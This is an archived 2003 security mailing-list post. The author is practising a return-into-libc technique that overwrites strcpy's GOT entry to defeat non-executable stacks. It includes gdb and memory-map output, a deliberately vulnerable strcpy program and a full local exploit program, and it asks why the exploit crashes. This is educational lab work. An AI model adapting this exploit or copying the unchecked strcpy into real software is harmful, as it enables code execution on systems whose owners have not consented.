Defeating non-executable stacks ... trying to, actually

From: Emilio Mira Alfaro (emial_at_alumni.uv.es)
Date: 08/31/03

  • Next message: Marco Ivaldi: "Re: Defeating non-executable stacks ... trying to, actually"
    To: vuln-dev@securityfocus.com
    Date: Sun, 31 Aug 2003 15:12:53 +0200 (CEST)
    
    

    Hi all,

    I'm doing some practices on this issue but I'm messing around a bit. I'm
    following an excellent text by Rafal Wojtczuk titled "Defeating Solar
    Designer non-executable stack patch".

    He explains basically two methods in order to bypass non-executable
    stacks:

    1) Fill the buffer with SRTCPY | DEST | DEST | SRC

    which works fine without any problems, and

    2) Fill the buffer with SRTCPY | STRCPY | PLTENT-off | SRC

    First, I got the PLT entry and the GOT address using:

    --------------------------------------------------------------------
    [emilio@vega nex_stack]$ gdb vul3
    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    (gdb) disass strcpy
    Dump of assembler code for function strcpy:
    0x080482d0 <strcpy+0>: jmp *0x8049800
    0x080482d6 <strcpy+6>: push $0x18
    0x080482db <strcpy+11>: jmp 0x8048290 <_init+24>
    End of assembler dump.
    (gdb)
    -------------------------------------------------------------------
    So, PLT = 0x080482d0 and GOT(strcpy) = 0x8049800.

    The system() address is:

    -------------------------------------------------------------------
    [emilio@vega emilio]$ cd ELAS/src/nex_stack/
    [emilio@vega nex_stack]$ vi vul3.c
    [emilio@vega nex_stack]$ cat /proc/$(/sbin/pidof vul3)/maps
    00110000-00125000 r-xp 00000000 03:03 930273 /lib/ld-2.3.2.so
    00125000-00126000 rw-p 00014000 03:03 930273 /lib/ld-2.3.2.so
    00126000-00128000 rw-p 00000000 00:00 0
    00136000-00269000 r-xp 00000000 03:03 930280 /lib/libc-2.3.2.so
    00269000-0026d000 rw-p 00132000 03:03 930280 /lib/libc-2.3.2.so
    0026d000-0026f000 rw-p 00000000 00:00 0
    08048000-08049000 r-xp 00000000 03:05 293979
    /home/emilio/ELAS/src/nex_stack/vul3
    08049000-0804a000 rw-p 00000000 03:05 293979
    /home/emilio/ELAS/src/nex_stack/vul3
    bfffe000-c0000000 rwxp fffff000 00:00 0
    [emilio@vega nex_stack]$ nm /lib/libc-2.3.2.so | grep system
    000414b0 t do_system
    00041430 T __libc_system
    001053f0 T svcerr_systemerr
    00041430 W system
    [emilio@vega nex_stack]$
    ------------------------------------------------------------------

    So, system = 00136000 + 00041430, if I'm not mistaken.

    Then, I lauch the exploit program with offset 12 and I get:

    ------------------------------------------------------------------
    [emilio@vega nex_stack]$ ./p3 12
    Trying SRC at 0xbffffa2c
    Executing vulnerable program ...
    0xbffffd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC
    0xbffffe20
    0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f4
    - SRC 0xbfffffe2
    Segmentation fault (core dumped)
    -----------------------------------------------------------------

    As we can see, the offset 12 is correct since on EIP, after the overflow,
    appears to be the first reference to STRCPY.

    Now, let's see what went wrong:
    -----------------------------------------------------------------
    [emilio@vega nex_stack]$ gdb vul3 core.1968
    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    warning: core file may not match specified executable file.
    Core was generated by `vul3
    PPPPPPPPPPPP��������������'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0 0x78787878 in ?? ()
    (gdb) x/8 0x080497F0
    0x80497f0 <_GLOBAL_OFFSET_TABLE_+8>: 0x0011bcb0 0x3d474745
    0x706d742f 0x7878782f
    0x8049800 <_GLOBAL_OFFSET_TABLE_+24>: 0x78787878 0x00177430
    0x00000000 0x00000000
    (gdb)
    -----------------------------------------------------------------

    SYSTEM was stored on 0x8049804 insted of 0x8049800, so EIP whent where the 'xxxx' were
    stored, instead of the address of system(). I've review the exploit program and it seems to
    be alright. Anyway, what I did it to decrease on 4 the address of my calculated GOT entry,
    but now:

    ----------------------------------------------------------------
    [emilio@vega nex_stack]$ ./p3 12
    Trying SRC at 0xbffffa2c
    Executing vulnerable program ...
    0xbfffnfd40> BP 0xbffffde8 - EIP 0x14b917 - DST 0x2 - DST 0xbffffe14 - SRC
    0xbffffe20
    0xbffffd40> BP 0xbfffffe2 - EIP 0x80482d0 - DST 0x80482d0 - DST 0x80497f0
    - SRC 0xbfffffe2
    Segmentation fault (core dumped)
    [emilio@vega nex_stack]$ gdb vul3 core.1995
    GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
    warning: core file may not match specified executable file.
    Core was generated by `vul3
    PPPPPPPPPPPP��������������'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0 0x08049873 in ?? ()
    (gdb)
    ----------------------------------------------------------------

    EIP seems to be on the GOT table, much further than strcpy() is.

    Am I missing something? I'm using RH9.0. I've heard gcc > 2.96 give some
    problems with off-by-one buffer overflows since the gap between the BP
    pointer and local vars is greater, but what i'm doing doesn't have
    anything to do with that ... Maybe another modification on the GOT table
    ..

    Have somebody else experimented this problem?

    Below, the programs i'm using to practice.

    Thanks in advance,
    Emilio

    --------------- vulnerable program ---------------------
    int main(int argc, char **argv)
    {
        char d[10]="DDDD";
        char c[100]="CCCC";
        char a[10]="AAAA", b[10]="BBBB";
        char *ptr;
        int i=0;

        a[0] = a[0];
        printf("Executing vulnerable program ...\n");
        sleep(1);
        printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n",
    (int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int
    *)(c+148), *(int *)(c+152) );
        strcpy(a, b);
        strcpy(c, argv[1]);
        printf("0x%x> BP 0x%x - EIP 0x%x - DST 0x%x - DST 0x%x - SRC 0x%x\n",
    (int *)c, *(int *)(c+136), *(int *)(c+140), *(int *)(c+144), *(int
    *)(c+148), *(int *)(c+152) );
        //strcpy(a, b);
        for (i=1;i!=500000000;i++);
    }

    --------------- exploit program ------------------------
    #include <stdio.h>

    #define BUFSIZE 140
    #define OFFSET 850
    #define EGGSIZE 100

    #define STRCPY_PLT 0x080482d0
    #define STRCPY_GOT 0x8049800
    #define SRC 0xbfffffe2
    #define SYSTEM 0x00136000 + 0x041430

    char *prefix = "/tmp/xxxxxxx";

    char buf[300], pattern[16], egg[EGGSIZE];

    int main(int argc, char **argv)
    {
        int src = (int)&src;
        int i, off = 0;
        char path[200], command[100];
        char *envs[2] = { egg, 0 };

        if (argv[1])
        {
            off = atoi(argv[1]);
        }
        printf("Trying SRC at 0x%x\n", src);

        *(int *)pattern = STRCPY_PLT;
        *(int *)(pattern + 4) = STRCPY_PLT;
        *(int *)(pattern + 8) = STRCPY_GOT - strlen(prefix);
        *(int *)(pattern + 12) = SRC;

        for (i = 0; i <= 15; i++)
            if (pattern[i] == 0)
            {
                printf("zero in pattern (%i)\n", i);
                exit(1);
            }
        if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM &
    0x000000ff))
        {
            printf("zero in system\n");
            exit(1);
        }

        memset(buf, 0x50, sizeof(buf) );
        for (i = 0 + off; i < sizeof(buf); i+=16)
            memcpy((void *)(buf + i), (void *)pattern, sizeof(pattern) );
        buf[sizeof(buf) - 1] = '\0';

        strcpy(path, prefix);
        *(int *)(path + strlen(path) ) = SYSTEM;

        sprintf(egg, "EGG=%s", path);
        sprintf(command, "cp /tmp/qq %s", path);
        system(command);
        execle("./qwe", "vul3", buf, 0, envs);
        perror("execl");

    }

    -- 
    Emilio Mira
    e-mail: emial@alumni.uv.es
    ------------------------------------------------------
    "Sure UNIX is user friendly; it's just picky about who
    its friends are."
    ------------------------------------------------------
    

  • Next message: Marco Ivaldi: "Re: Defeating non-executable stacks ... trying to, actually"

    Relevant Pages

    • Re: Cannot analyze coredump using shared library
      ... Report the version of everything involved: gdb, ddd, glibc, gcc, etc. ... Segmentation fault (core dumped) ... Reading symbols from shared object read from target memory...done. ... Loaded symbols for /home/$USER/libsub.so ...
      (comp.os.linux.development.apps)
    • corefiles
      ... When I try to catch SIGTERM and generate a core file the call stack is corrupted on FreeBSD. ... In gdb backtrace, why is monitorSignalHandlerBUS listed? ... Reading symbols from /libexec/ld-elf.so.1...done. ...
      (freebsd-hackers)
    • corefiles
      ... When I try to catch SIGTERM and generate a core file the call stack is corrupted on FreeBSD. ... In gdb backtrace, why is monitorSignalHandlerBUS listed? ... Reading symbols from /libexec/ld-elf.so.1...done. ...
      (freebsd-questions)
    • pthread_cond_wait failed
      ... i get 'Segmentation fault (core dumped)' message. ... GDB is free software, covered by the GNU General Public License, and you are ... Reading symbols from /usr/lib/libc_r.so.5...done. ... Loaded symbols for /usr/lib/libc_r.so.5 ...
      (freebsd-current)
    • Buffer Overflow Help
      ... When I use gdb to find a return address I keep getting different address ranges. ... GNU gdb Red Hat Linux ... exec file is newer than core file. ... Reading symbols from /lib/tls/libc.so.6...done. ...
      (Vuln-Dev)